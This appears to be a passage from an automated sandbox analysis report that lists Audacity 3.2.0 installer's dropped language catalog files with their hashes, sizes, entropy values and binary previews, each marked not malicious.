File Type:	GNU message catalog (little endian), revision 0.0, 1485 messages, Project-Id-Version: audacity 3.0.3 '\325\226\325\241\325\265\325\254\325\245\326\200\325\250 \325\270\326\200\325\272\325\245\325\275 \324\262\324\261\325\221\324\261\324\277\324\261 \325\277\325\245\325\262\325\241\326\203\325\270\325\255\325\276\325\245\325\254 \325\257\325\241\325\264 \325\273\325\266\325\273\325\276\325\245\325\254 \325\245\325\266 \326\207 \325\271\325\245\325\266 \325\257\325\241\326\200\325\270\325\262 \325\272\325\241\325\277\325\263\325\245\325\266\325\276\325\245\325\254:'
Category:	dropped
Size (bytes):	144869
Entropy (8bit):	5.471348376301057
Encrypted:	false
SSDEEP:	3072:uJnyCpQMRZoynl//RDD7j3hIXA0o8bW5PJL:snZpD3RDfjRIXAYbAPZ
MD5:	01CAD7A6DB18C3D4FC43C8E5894D618D
SHA1:	283D9FC8C8EA9897FF3EFA43D0F76BCC8C30F842
SHA-256:	BCAAAA114701ADB167FE28D51BCEA1FA801976370ED929138B2B3B6BEA9EAC5F
SHA-512:	C880FF6CC845CCB46BEFBFB2724A706CAADD6B6466623AB8C9F32021178913CC64F59233D6B2C67AFD6D690706F2259928D3F1CE572B45C8F8235521492EDE75
Malicious:	false
Preview:	.........................\.......{.......{..'....\|.......\|......N}......W}......b}......k}..1....}......1~.......~..............i.......................m.......'...............Y...................4...4.......i.......p.......z...........................................J......%...........3.......F.......K.......Y.......k.......y.......~...................(..............$.................................................'.......-.......5.......:.......D.......L.......Z.......j.......w...........".......................................................................................&.......3.......?.......I.......V.......i.......o.......x...........................................................................................................................#.......4.......:.......?.......E.......I.......R.......\.......n.......z....................................................................................................................'.......4.......P.......`.......

C:\Program Files\Audacity\Languages\id\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1130 messages, Project-Id-Version: audacity 3.0.3 'Jika disimpan, proyek tidak akan punya trek.'
Category:	dropped
Size (bytes):	81437
Entropy (8bit):	5.281940335475547
Encrypted:	false
SSDEEP:	1536:SAopKQRJxXIdnkqTZoL6H5RTzmgXLNANJ4WdGe7cVZ1SZX:SAW1fqTZoL6H5dmgXLNA7GXZ1SZX
MD5:	BADD6868EE0847C3DC4AC237118F226B
SHA1:	063178CB6A60BB1AF45048EF996EFEE2550BE99E
SHA-256:	288E1910B5CCA9273DC9E124F2BC167C7DB718FA292709D302BACE5EB4F34128
SHA-512:	65F6CF5A57AE46541082A314F2E931D40215B92DF76E86946318F849956B6E1C48D5085C8F125063A9D7592140BDBAE0851741B55CE8A66661EB81906BC78F42
Malicious:	false
Preview:	........j.......l#.......F......X^......Y^.......^.......^......._......._..1...._......._......w`......ta.......b.......b......Qc.......d.......d......`e.......e.......f.......g..4....g.......h.......h.......h......&h......-h......9h..J...Dh..%....h.......h.......h.......h.......h.......h.......h..(....h.......i......$i......+i......2i......Gi......Pi......Vi......[i......ei......mi......}i.......i.."....i.......i.......i.......i.......i.......i.......i.......i.......j.......j.......j.......j......#j......+j......1j......>j......Ij......Tj......oj......xj.......j.......j.......j.......j.......j.......j.......j.......j.......j.......j.......j.......j.......j.......k.......k.......k......!k......k......2k......?k......[k......mk......{k.......k.......k.......k.......k.......k.......k.......k.......k.......k.......k.......k.......l.......l.......l......l......=l..,...El..%...rl..1....l..#....l..$....l..$....m......8m......Bm......Nm......^m......zm.......m..*....m.......m.......m......

C:\Program Files\Audacity\Languages\id\is-3J2H4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1130 messages, Project-Id-Version: audacity 3.0.3 'Jika disimpan, proyek tidak akan punya trek.'
Category:	dropped
Size (bytes):	81437
Entropy (8bit):	5.281940335475547
Encrypted:	false
SSDEEP:	1536:SAopKQRJxXIdnkqTZoL6H5RTzmgXLNANJ4WdGe7cVZ1SZX:SAW1fqTZoL6H5dmgXLNA7GXZ1SZX
MD5:	BADD6868EE0847C3DC4AC237118F226B
SHA1:	063178CB6A60BB1AF45048EF996EFEE2550BE99E
SHA-256:	288E1910B5CCA9273DC9E124F2BC167C7DB718FA292709D302BACE5EB4F34128
SHA-512:	65F6CF5A57AE46541082A314F2E931D40215B92DF76E86946318F849956B6E1C48D5085C8F125063A9D7592140BDBAE0851741B55CE8A66661EB81906BC78F42
Malicious:	false
Preview:	........j.......l#.......F......X^......Y^.......^.......^......._......._..1...._......._......w`......ta.......b.......b......Qc.......d.......d......`e.......e.......f.......g..4....g.......h.......h.......h......&h......-h......9h..J...Dh..%....h.......h.......h.......h.......h.......h.......h..(....h.......i......$i......+i......2i......Gi......Pi......Vi......[i......ei......mi......}i.......i.."....i.......i.......i.......i.......i.......i.......i.......i.......j.......j.......j.......j......#j......+j......1j......>j......Ij......Tj......oj......xj.......j.......j.......j.......j.......j.......j.......j.......j.......j.......j.......j.......j.......j.......k.......k.......k......!k......k......2k......?k......[k......mk......{k.......k.......k.......k.......k.......k.......k.......k.......k.......k.......k.......k.......l.......l.......l......l......=l..,...El..%...rl..1....l..#....l..$....l..$....m......8m......Bm......Nm......^m......zm.......m..*....m.......m.......m......

C:\Program Files\Audacity\Languages\it\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: audacity 3.0.3 '\011 e'
Category:	dropped
Size (bytes):	361481
Entropy (8bit):	5.336068376224258
Encrypted:	false
SSDEEP:	6144:6m72UUx/YopsYRDjIoj5/asc+1A7MS0SSecSJgUPYSKsAFhEKuRiqFy+TsViW:6f9VVA7MReFmq0R
MD5:	5114CC8B838CE076B28DE9860F90B0CE
SHA1:	431D17A701F332CF4C26B3E9D7031C10CE7695A9
SHA-256:	5FF79175355A9D4D44A1E769788B4E12C0C554CAB92D97E1C153FF9F489E34B5
SHA-512:	C893BA08FE07799B3390151BE75479B05C725AB75DD43AA04DAB9F14FF852E9D6B0D36D5B6BF0ABFBA1112EC5C2E97F6D0289DCF8A6230987F81B6EE4157821F
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\it\is-E6HJ8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: audacity 3.0.3 '\011 e'
Category:	dropped
Size (bytes):	361481
Entropy (8bit):	5.336068376224258
Encrypted:	false
SSDEEP:	6144:6m72UUx/YopsYRDjIoj5/asc+1A7MS0SSecSJgUPYSKsAFhEKuRiqFy+TsViW:6f9VVA7MReFmq0R
MD5:	5114CC8B838CE076B28DE9860F90B0CE
SHA1:	431D17A701F332CF4C26B3E9D7031C10CE7695A9
SHA-256:	5FF79175355A9D4D44A1E769788B4E12C0C554CAB92D97E1C153FF9F489E34B5
SHA-512:	C893BA08FE07799B3390151BE75479B05C725AB75DD43AA04DAB9F14FF852E9D6B0D36D5B6BF0ABFBA1112EC5C2E97F6D0289DCF8A6230987F81B6EE4157821F
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\ja\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4113 messages, Project-Id-Version: audacity 3.0.3 '\011'
Category:	dropped
Size (bytes):	375592
Entropy (8bit):	6.102325041233545
Encrypted:	false
SSDEEP:	6144:sY0rgUc6md/wCQRDjwoDbGyoc+HA7+Ol84cARHncXFi:tYAYLxUA7+OVcARHncXFi
MD5:	F6A5D8884BC4E19DAFCF1A5241F0E74C
SHA1:	29AF087C83EED4932BC8F695A9103DB1EE99F729
SHA-256:	BA544D94DAB7E9D244A0A4EFF9AB7DB283917113D2A1155C9650C76606AD94F3
SHA-512:	CC1CA603162F62B3EE0A06537F4B98879720A8C41013AB9A8B42DBC1B32134B164912BA5CD6F3D3C203CB87895DC148A21E098F986CD89915BC7F69B34624005
Malicious:	false
Preview:	....................}...,....... W......!W......,W..'....W..:....W......"X..$...&X..6...KX..(....X.......X......EY..\|....Y..S...VZ..G....Z..*....Z..K....[......i[..m....\.......\.......].......].......^......._......._......._......._......._......._......._......._......._......._......._.......`..g....`..P...v`.......`..F...[a.......a..1....a.......a.......b.......c......$d.......d......ge......(f.......f......vg......>h.......h.......i.......j..0....j.......j..4....k......<k......>k......Lk......Uk......]k......ik......vk......}k.......k.......k.......k.......k.......k.......k.......k.......k.......k.......k.......l.......l......(l......1l......=l......Cl......Xl......kl.......l.......l.......l.......l.......l.......l.......l..8....l..;....m......>m......]m..7...ym.......m.......m.......m..R....m..0...Cn......tn..(...\|n.......n.......n.......n.......n.......n.......n.......n.......n.......n.......n.......n.......o..J....o......^o......do......mo..-...to..%....o..$....o.......o......

C:\Program Files\Audacity\Languages\ja\is-JQCT8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4113 messages, Project-Id-Version: audacity 3.0.3 '\011'
Category:	dropped
Size (bytes):	375592
Entropy (8bit):	6.102325041233545
Encrypted:	false
SSDEEP:	6144:sY0rgUc6md/wCQRDjwoDbGyoc+HA7+Ol84cARHncXFi:tYAYLxUA7+OVcARHncXFi
MD5:	F6A5D8884BC4E19DAFCF1A5241F0E74C
SHA1:	29AF087C83EED4932BC8F695A9103DB1EE99F729
SHA-256:	BA544D94DAB7E9D244A0A4EFF9AB7DB283917113D2A1155C9650C76606AD94F3
SHA-512:	CC1CA603162F62B3EE0A06537F4B98879720A8C41013AB9A8B42DBC1B32134B164912BA5CD6F3D3C203CB87895DC148A21E098F986CD89915BC7F69B34624005
Malicious:	false
Preview:	....................}...,....... W......!W......,W..'....W..:....W......"X..$...&X..6...KX..(....X.......X......EY..\|....Y..S...VZ..G....Z..*....Z..K....[......i[..m....\.......\.......].......].......^......._......._......._......._......._......._......._......._......._......._......._.......`..g....`..P...v`.......`..F...[a.......a..1....a.......a.......b.......c......$d.......d......ge......(f.......f......vg......>h.......h.......i.......j..0....j.......j..4....k......<k......>k......Lk......Uk......]k......ik......vk......}k.......k.......k.......k.......k.......k.......k.......k.......k.......k.......k.......l.......l......(l......1l......=l......Cl......Xl......kl.......l.......l.......l.......l.......l.......l.......l..8....l..;....m......>m......]m..7...ym.......m.......m.......m..R....m..0...Cn......tn..(...\|n.......n.......n.......n.......n.......n.......n.......n.......n.......n.......n.......n.......o..J....o......^o......do......mo..-...to..%....o..$....o.......o......

C:\Program Files\Audacity\Languages\ka\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 3520 messages, Project-Id-Version: audacity 3.0.3 '\011 \341\203\223\341\203\220'
Category:	dropped
Size (bytes):	372728
Entropy (8bit):	5.0538744931031045
Encrypted:	false
SSDEEP:	6144:zSrZnFO78XAtRDjeiRIDc+nAibAbn5dYLdtH2c+5Atf666J:yae7AiM
MD5:	C1B5E24889EB3780DD62DFC38D8B8B3B
SHA1:	C325205526C5F3A3498B4B001F2F808E4197B45F
SHA-256:	574010B62F4AEA7B5C814361A9D1FAEABB763DA3611A729E66F5C6E6849CCEC9
SHA-512:	0A256CACD7C97B08FD66CB93DEBB51B739C8F4028C009266BD731B132D6CB1EBD95986608BA3E6287F5A7ADD517031805BA0A61B2537E9DB6EA952E10D595A33
Malicious:	false
Preview:	.................n.._............%.......%..'....%.......%..$....%..(....%.......&.......&.......&.......&.......&.......&.......&.......&.......'.......'.......'.......'......+'..F....'.......(..1....(......P(.......(.......)..............+.......+.......,......F-.......-..............@/......./.......1..0....1......P1......k1..4...}1.......1.......1.......1.......1.......1.......1.......1.......1.......1.......2.......2.......2...... 2......2......42......:2......?2......\2......w2.......2.......2.......2.......2.......2.......2.......2.......2.......2.......2.......2.......3.......3.......3......-3..7...I3.......3.......3.......3.......3..(....3.......3.......3.......3.......4.......4.......4.......4......,4......74......@4......K4......Q4......Z4..-...a4..%....4.......4.......4.......4.......4.......5......"5......,5......85..(...M5......v5.......5.......5.......5.......5..%....5.......6.......6......,6......B6......\6......g6......y6......}6.......6..!....6..!....6.......6......

C:\Program Files\Audacity\Languages\ka\is-61DBE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 3520 messages, Project-Id-Version: audacity 3.0.3 '\011 \341\203\223\341\203\220'
Category:	dropped
Size (bytes):	372728
Entropy (8bit):	5.0538744931031045
Encrypted:	false
SSDEEP:	6144:zSrZnFO78XAtRDjeiRIDc+nAibAbn5dYLdtH2c+5Atf666J:yae7AiM
MD5:	C1B5E24889EB3780DD62DFC38D8B8B3B
SHA1:	C325205526C5F3A3498B4B001F2F808E4197B45F
SHA-256:	574010B62F4AEA7B5C814361A9D1FAEABB763DA3611A729E66F5C6E6849CCEC9
SHA-512:	0A256CACD7C97B08FD66CB93DEBB51B739C8F4028C009266BD731B132D6CB1EBD95986608BA3E6287F5A7ADD517031805BA0A61B2537E9DB6EA952E10D595A33
Malicious:	false
Preview:	.................n.._............%.......%..'....%.......%..$....%..(....%.......&.......&.......&.......&.......&.......&.......&.......&.......'.......'.......'.......'......+'..F....'.......(..1....(......P(.......(.......)..............+.......+.......,......F-.......-..............@/......./.......1..0....1......P1......k1..4...}1.......1.......1.......1.......1.......1.......1.......1.......1.......1.......2.......2.......2...... 2......2......42......:2......?2......\2......w2.......2.......2.......2.......2.......2.......2.......2.......2.......2.......2.......2.......3.......3.......3......-3..7...I3.......3.......3.......3.......3..(....3.......3.......3.......3.......4.......4.......4.......4......,4......74......@4......K4......Q4......Z4..-...a4..%....4.......4.......4.......4.......4.......5......"5......,5......85..(...M5......v5.......5.......5.......5.......5..%....5.......6.......6......,6......B6......\6......g6......y6......}6.......6..!....6..!....6.......6......

C:\Program Files\Audacity\Languages\km\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 688 messages, Project-Id-Version: audacity 3.0.3 '\341\236\237\341\237\222\341\236\204\341\236\266\341\236\217\341\237\213'
Category:	dropped
Size (bytes):	71398
Entropy (8bit):	5.247177538324745
Encrypted:	false
SSDEEP:	1536:Vqx2nQcpZoJKKkReRaA1+Yr1poJcEJI7LQakxP6pc/:rZoJKKWeRaA1NRpobI7LQakxypc/
MD5:	D8724AAF15120878B95DFF3D17B2482D
SHA1:	890BDD6A3BA15C44CAD80D0760B11E8A91F24924
SHA-256:	85A68892778183A3FF74E9A4E930B530E2506C841514D9F39DEADF9DB9DEE10A
SHA-512:	036BDF0639CCDECC2CF9F92750FB19ABCE6095AC4B18C590A7FA3F1F4865D11ACBB2BA3BCA90B90390EC012A006EA06723DA239E731636DD8B6B7DD392166556
Malicious:	false
Preview:	.........................+......x9......y9.......9.......9..1....9.......9.......9.......9..%....9...... :......3:......8:......=:......F:..(...P:......y:.......:.......:.......:.......:.......:.......:.......:.......:.......:.."....:.......:.......:.......;.......;.......;......(;.......;......6;......A;......I;......O;......\;......g;......p;......y;......~;.......;.......;.......;.......;.......;.......;.......;.......;.......;.......;.......;.......;.......<.......<.......<......#<......1<......=<......E<......K<......T<......Z<......m<......y<.......<..,....<..%....<..1....<..#....=..$...==......b=......n=.......=.......=..*....=.......=.......>......">......B>......`>......y>.......>.......>.......>.......>.......>.......?.......?.......?......&?......-?......8?......:?......E?......Y?......`?......k?......m?......z?......\|?......~?.......?.......?.......?.......?.......?.......?.......?.......?.......?.......?.......@.......@......!@......3@......;@......?@......R@......[@.. ...

C:\Program Files\Audacity\Languages\km\is-7REVL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 688 messages, Project-Id-Version: audacity 3.0.3 '\341\236\237\341\237\222\341\236\204\341\236\266\341\236\217\341\237\213'
Category:	dropped
Size (bytes):	71398
Entropy (8bit):	5.247177538324745
Encrypted:	false
SSDEEP:	1536:Vqx2nQcpZoJKKkReRaA1+Yr1poJcEJI7LQakxP6pc/:rZoJKKWeRaA1NRpobI7LQakxypc/
MD5:	D8724AAF15120878B95DFF3D17B2482D
SHA1:	890BDD6A3BA15C44CAD80D0760B11E8A91F24924
SHA-256:	85A68892778183A3FF74E9A4E930B530E2506C841514D9F39DEADF9DB9DEE10A
SHA-512:	036BDF0639CCDECC2CF9F92750FB19ABCE6095AC4B18C590A7FA3F1F4865D11ACBB2BA3BCA90B90390EC012A006EA06723DA239E731636DD8B6B7DD392166556
Malicious:	false
Preview:	.........................+......x9......y9.......9.......9..1....9.......9.......9.......9..%....9...... :......3:......8:......=:......F:..(...P:......y:.......:.......:.......:.......:.......:.......:.......:.......:.......:.."....:.......:.......:.......;.......;.......;......(;.......;......6;......A;......I;......O;......\;......g;......p;......y;......~;.......;.......;.......;.......;.......;.......;.......;.......;.......;.......;.......;.......;.......<.......<.......<......#<......1<......=<......E<......K<......T<......Z<......m<......y<.......<..,....<..%....<..1....<..#....=..$...==......b=......n=.......=.......=..*....=.......=.......>......">......B>......`>......y>.......>.......>.......>.......>.......>.......?.......?.......?......&?......-?......8?......:?......E?......Y?......`?......k?......m?......z?......\|?......~?.......?.......?.......?.......?.......?.......?.......?.......?.......?.......?.......@.......@......!@......3@......;@......?@......R@......[@.. ...

C:\Program Files\Audacity\Languages\ko\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4352 messages, Project-Id-Version: audacity 3.0.3 '\011 \352\267\270\353\246\254\352\263\240'
Category:	dropped
Size (bytes):	368685
Entropy (8bit):	6.118476253055392
Encrypted:	false
SSDEEP:	6144:fbOPOQ1BahHbe/P9YRDjIoj5/asc+1A7MNUc0RjAv:j0BGeqVVA7MNUBZi
MD5:	0408741D58C5467D3623A75C1AA29A88
SHA1:	C3ED1B6E6221D371C90DA87429B388E539651D8B
SHA-256:	96D27A28D6A805F5AE554753CDE12DCA3DB1CCF62ACEB87F8FA4C696A0E5CCE0
SHA-512:	753AFCC30ED834D8BC02E595E19F53C53826E49D453030EBBC58EB4D5FB8ED2001687AFC603F946463717B26836127386C36A77C1A9152F78D14766C40CA1692
Malicious:	false
Preview:	.................................j.......j.......j..'...wk..:....k.......k..$....k..6....l..(...:l......cl.......l..\|....m..S....n..G...bn..*....n..K....n......!o..m....o......?p.......p.......q......Br......Is......Rs......\s......is......rs......ys.......s.......s.......s.......s.......s.......s..g....s..P....t.......t..F....u......Zu..1...ru.......u......Ev......Bw.......w......mx.......y.......y.......z.......{.......{.......\|......9}......T~..0...s~.......~.......~..4....~......................................'.......3.......@.......G.......O.......X.......b.......i.......q.......}.......................................................................................................0.......C.......\.......b.......s.......{...........................8.......;..................5...7...Q...........................R......0...........L...(...T.......}...............................................................................................J...........C.......I.......R...-...

C:\Program Files\Audacity\Languages\ko\is-J5S6V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4352 messages, Project-Id-Version: audacity 3.0.3 '\011 \352\267\270\353\246\254\352\263\240'
Category:	dropped
Size (bytes):	368685
Entropy (8bit):	6.118476253055392
Encrypted:	false
SSDEEP:	6144:fbOPOQ1BahHbe/P9YRDjIoj5/asc+1A7MNUc0RjAv:j0BGeqVVA7MNUBZi
MD5:	0408741D58C5467D3623A75C1AA29A88
SHA1:	C3ED1B6E6221D371C90DA87429B388E539651D8B
SHA-256:	96D27A28D6A805F5AE554753CDE12DCA3DB1CCF62ACEB87F8FA4C696A0E5CCE0
SHA-512:	753AFCC30ED834D8BC02E595E19F53C53826E49D453030EBBC58EB4D5FB8ED2001687AFC603F946463717B26836127386C36A77C1A9152F78D14766C40CA1692
Malicious:	false
Preview:	.................................j.......j.......j..'...wk..:....k.......k..$....k..6....l..(...:l......cl.......l..\|....m..S....n..G...bn..*....n..K....n......!o..m....o......?p.......p.......q......Br......Is......Rs......\s......is......rs......ys.......s.......s.......s.......s.......s.......s..g....s..P....t.......t..F....u......Zu..1...ru.......u......Ev......Bw.......w......mx.......y.......y.......z.......{.......{.......\|......9}......T~..0...s~.......~.......~..4....~......................................'.......3.......@.......G.......O.......X.......b.......i.......q.......}.......................................................................................................0.......C.......\.......b.......s.......{...........................8.......;..................5...7...Q...........................R......0...........L...(...T.......}...............................................................................................J...........C.......I.......R...-...

C:\Program Files\Audacity\Languages\lt\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1510 messages, Project-Id-Version: audacity 3.0.3 'Failas rodomas kaip MISSING buvo perkeltas arba i\305\241trintas ir negali b\305\253ti nukopijuotas.'
Category:	dropped
Size (bytes):	114347
Entropy (8bit):	5.409178326762448
Encrypted:	false
SSDEEP:	3072:zmDpL4dDBguuoEy6xDXQwNc/c6vQ6EsLhrtIS3mH:C9LUDBtWDXLNc/c6v3qn
MD5:	B18305650617D59208857FD94C1740E3
SHA1:	7049304958918C22BB34A9D8A3A7707A06E8B2C6
SHA-256:	3438CFE526C90F50608F79D0BD347843526AA141DA333DD91AF4C911024F4D32
SHA-512:	5C3DDB38194C310DE46500078E943A004BC14BBB460D8714B9B6B432226ECB8158B0A17F0411B270AD9AE4455C2DFA54A7AD1BFFA63538F8D121199D6990B7ED
Malicious:	false
Preview:	................L/......\|^.......~.......~..'....~.......~......V......._.......j.......s.......{...............................................................................................$.......5...8...J...;..........................................-.......8...J...C...........%...........................................E...........?.......Y.......o.......v.......................................................................................................... .......(.......0.......F.......M.......b.......k.......q.......~..................................................................................................................#.......1.......:.......B.......Q.......Y.......j.......u....................................................................................................................*.......2.......8.......E.......M.......X.......e.......k...%....................................................................$...........D.......P.......

C:\Program Files\Audacity\Languages\lt\is-2CVMQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1510 messages, Project-Id-Version: audacity 3.0.3 'Failas rodomas kaip MISSING buvo perkeltas arba i\305\241trintas ir negali b\305\253ti nukopijuotas.'
Category:	dropped
Size (bytes):	114347
Entropy (8bit):	5.409178326762448
Encrypted:	false
SSDEEP:	3072:zmDpL4dDBguuoEy6xDXQwNc/c6vQ6EsLhrtIS3mH:C9LUDBtWDXLNc/c6v3qn
MD5:	B18305650617D59208857FD94C1740E3
SHA1:	7049304958918C22BB34A9D8A3A7707A06E8B2C6
SHA-256:	3438CFE526C90F50608F79D0BD347843526AA141DA333DD91AF4C911024F4D32
SHA-512:	5C3DDB38194C310DE46500078E943A004BC14BBB460D8714B9B6B432226ECB8158B0A17F0411B270AD9AE4455C2DFA54A7AD1BFFA63538F8D121199D6990B7ED
Malicious:	false
Preview:	................L/......\|^.......~.......~..'....~.......~......V......._.......j.......s.......{...............................................................................................$.......5...8...J...;..........................................-.......8...J...C...........%...........................................E...........?.......Y.......o.......v.......................................................................................................... .......(.......0.......F.......M.......b.......k.......q.......~..................................................................................................................#.......1.......:.......B.......Q.......Y.......j.......u....................................................................................................................*.......2.......8.......E.......M.......X.......e.......k...%....................................................................$...........D.......P.......

C:\Program Files\Audacity\Languages\mk\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 242 messages, Project-Id-Version: audacity 3.0.3 '\320\227&\320\260 Audacity...'
Category:	dropped
Size (bytes):	18821
Entropy (8bit):	5.275982877855045
Encrypted:	false
SSDEEP:	384:syYU/3G9z1OQtyovQ0JMoAYnDg/NX/rvWLirjXrTqggJGEaMK:VYNzQ7oYLYuXz8Oig4XK
MD5:	231AB61DFBC7FD71FD71DE3E31D19FF8
SHA1:	5790F38B62478A214E96CD576D74FB95B6FD386A
SHA-256:	693C3D4B73109025B2D103628E97C153EF3F931DCDCA63853536AB8E73BFE616
SHA-512:	D547F8783388D5429EACA5D7DCDC1168A17727F6F8913BFF067CFFB3F25B0626726EC4623653D053CE68EEAE7B0D3832BA37AE3F6A00B1DA80A1A4759727FF67
Malicious:	false
Preview:	....................K...<.......h.......i.......\|.......................................................................................................................................................%.......0.......7.......C.......V.......e.......w...........................................z...........T.......`.......k.......u...#...}...................................................#...........1.......?.......V...,...c...........#....... ....... .......................O...,...$...\|...2...............-.......".......&.../.../...V...0.......#...............)...........$..........S...9...........$...............+...........................-.......A.......`.......w...................................................................1...........C.......M.......X.......].......e.......~......................................................................................Y.......p.......x.......................................................................................".......B...!...

C:\Program Files\Audacity\Languages\mk\is-02VU6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 242 messages, Project-Id-Version: audacity 3.0.3 '\320\227&\320\260 Audacity...'
Category:	dropped
Size (bytes):	18821
Entropy (8bit):	5.275982877855045
Encrypted:	false
SSDEEP:	384:syYU/3G9z1OQtyovQ0JMoAYnDg/NX/rvWLirjXrTqggJGEaMK:VYNzQ7oYLYuXz8Oig4XK
MD5:	231AB61DFBC7FD71FD71DE3E31D19FF8
SHA1:	5790F38B62478A214E96CD576D74FB95B6FD386A
SHA-256:	693C3D4B73109025B2D103628E97C153EF3F931DCDCA63853536AB8E73BFE616
SHA-512:	D547F8783388D5429EACA5D7DCDC1168A17727F6F8913BFF067CFFB3F25B0626726EC4623653D053CE68EEAE7B0D3832BA37AE3F6A00B1DA80A1A4759727FF67
Malicious:	false
Preview:	....................K...<.......h.......i.......\|.......................................................................................................................................................%.......0.......7.......C.......V.......e.......w...........................................z...........T.......`.......k.......u...#...}...................................................#...........1.......?.......V...,...c...........#....... ....... .......................O...,...$...\|...2...............-.......".......&.../.../...V...0.......#...............)...........$..........S...9...........$...............+...........................-.......A.......`.......w...................................................................1...........C.......M.......X.......].......e.......~......................................................................................Y.......p.......x.......................................................................................".......B...!...

C:\Program Files\Audacity\Languages\mr\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 3819 messages, Project-Id-Version: audacity 3.0.3 '\011 \340\244\206\340\244\243\340\244\277'
Category:	dropped
Size (bytes):	470089
Entropy (8bit):	5.210610613201499
Encrypted:	false
SSDEEP:	3072:Jt7mEdHRygQQ02+cWE0sZoa3VAKxVRDj4BvowstO8SIoc+9A9+qEtCdLAs0n/W4M:XmpQHW9URDjmortOKoc+9A9t081pXamp
MD5:	F3DE73D5E3E0CA5466B42B1B9B04C4F9
SHA1:	BC7522D4488B2D2D3D0A7D58F4BE10D160F9C93B
SHA-256:	046451C926DAF499A1AE94DF113A5BDD49E6B44CD7E477181A61900DECA59CF2
SHA-512:	FF64FE9281D1B3C9B6B25D590B60206C6C0626278A70E3F5869EFFC0B4CD161B6A371F175325C29AC95C3704D84110906EDC33CCAD1553090C205A63F4614EBC
Malicious:	false
